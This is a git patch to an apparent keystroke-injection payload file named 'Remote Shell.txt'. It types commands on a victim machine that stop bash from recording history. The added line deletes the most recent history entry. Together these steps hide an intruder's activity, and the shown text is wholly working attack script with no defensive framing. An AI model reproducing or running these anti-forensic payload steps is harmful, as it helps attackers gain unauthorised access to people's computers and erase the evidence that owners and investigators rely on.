From 1444c26d53f3c13c035890418877652bad82981c Mon Sep 17 00:00:00 2001 From: Narsty Date: Thu, 22 Jun 2023 22:50:30 -0500 Subject: [PATCH] Update Remote Shell.txt --- Executions/Remote Shell.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt index b173f4d..f09ead4 100644 --- a/Executions/Remote Shell.txt +++ b/Executions/Remote Shell.txt @@ -37,6 +37,7 @@ DELAY 500 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') DELAY 500 ENTER DELAY 500